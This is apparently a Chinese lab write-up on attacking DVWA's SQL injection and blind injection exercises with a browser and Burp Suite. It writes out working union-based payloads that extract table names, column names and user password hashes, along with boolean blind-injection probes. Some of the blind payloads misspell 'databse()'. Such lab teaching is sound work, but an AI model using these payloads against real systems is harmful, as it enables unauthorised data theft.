sql注入与盲注

实验环境要求:
1、安装win7或win10的笔记本或PC电脑一台,硬盘100GB,内存8GB
2、安装VMware® Workstation 14以上
总体目标:基于centos7搭建dvwa web服务靶机,使用主机上的浏览器和kali虚拟机作为攻击机。使用kali中的burpsuite和主机上的浏览器攻击dvwa上的sql注入和sql盲注漏洞。

任务一、使用主机浏览器攻击dvwa中sql注入漏洞(low)

1.判断是否存在注入,注入是字符型还是数字型。
在这里插入图片描述
2.猜解SQL查询语句中的字段数

输入1’ or ‘1’ = ‘1’ order by 1 #
输入1’ or ‘1’ = ‘1’ order by 2 # 输入1’ or
‘1’ = ‘1’ order by 3 #

在这里插入图片描述
在这里插入图片描述

3.确定显示的字段顺序

输入1' union select 1,2 #

在这里插入图片描述
4.获取当前数据库

database()显示当前数据库
输入1’ union select 1,database() #

在这里插入图片描述

5.获取数据库中的表

输入1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

在这里插入图片描述

任务二、使用kali攻击dvwa中sql注入漏洞(medium)

1.判断是否存在注入,注入是字符型还是数字型
在这里插入图片描述

2.判断是否存在注入,是否数字型,抓包更改参数id为1 or 1 = 1 猜解SQL查询语句中的字段数,抓包更改参数id为1 order by 2 确定显示的字段顺序,抓包更改参数id为1 union select 1,2 获取当前数据库,抓包更改参数id为1 union
select 1,database() 获取数据库中的表,抓包更改参数id为1 union select
1,group_concat(table_name) from information_schema.tables where
table_schema=database() 获取表中的字段名,抓包更改参数id为1 union select
1,group_concat(column_name) from information_schema.columns where
table_name=‘users’ 下载数据,抓包修改参数id为1 union select
group_concat(user_id,first_name,last_name),group_concat(password) from
users

任务三、使用主机浏览器攻击dvwa中sql盲注漏洞(low)

1.判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户存在
在这里插入图片描述
2.猜解当前数据库名

想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。
输入1’ and length(database())=1 # 显示不存在;
输入1’ and length(database())=2 #显示不存在;
输入1’ and length(database())=3#显示不存在;
输入1’ and length(database())=4 #显示存在:

3.猜解数据库中的表名
采用二分法猜解数据库名
输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章